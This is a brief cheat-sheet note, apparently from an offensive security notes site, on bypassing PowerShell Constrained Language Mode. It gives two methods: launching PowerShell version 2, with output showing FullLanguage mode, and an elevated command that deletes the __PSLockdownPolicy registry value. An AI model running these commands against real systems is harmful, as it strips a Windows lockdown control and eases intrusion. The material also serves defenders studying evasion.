CLM

Downgrade PowerShell

PS C:\> powershell -v 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> [System.Console]::WriteLine("Test")
Test

Remove CLM via Register (Require Elevated Privilege)

Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -Name __PSLockdownPolicy

Last updated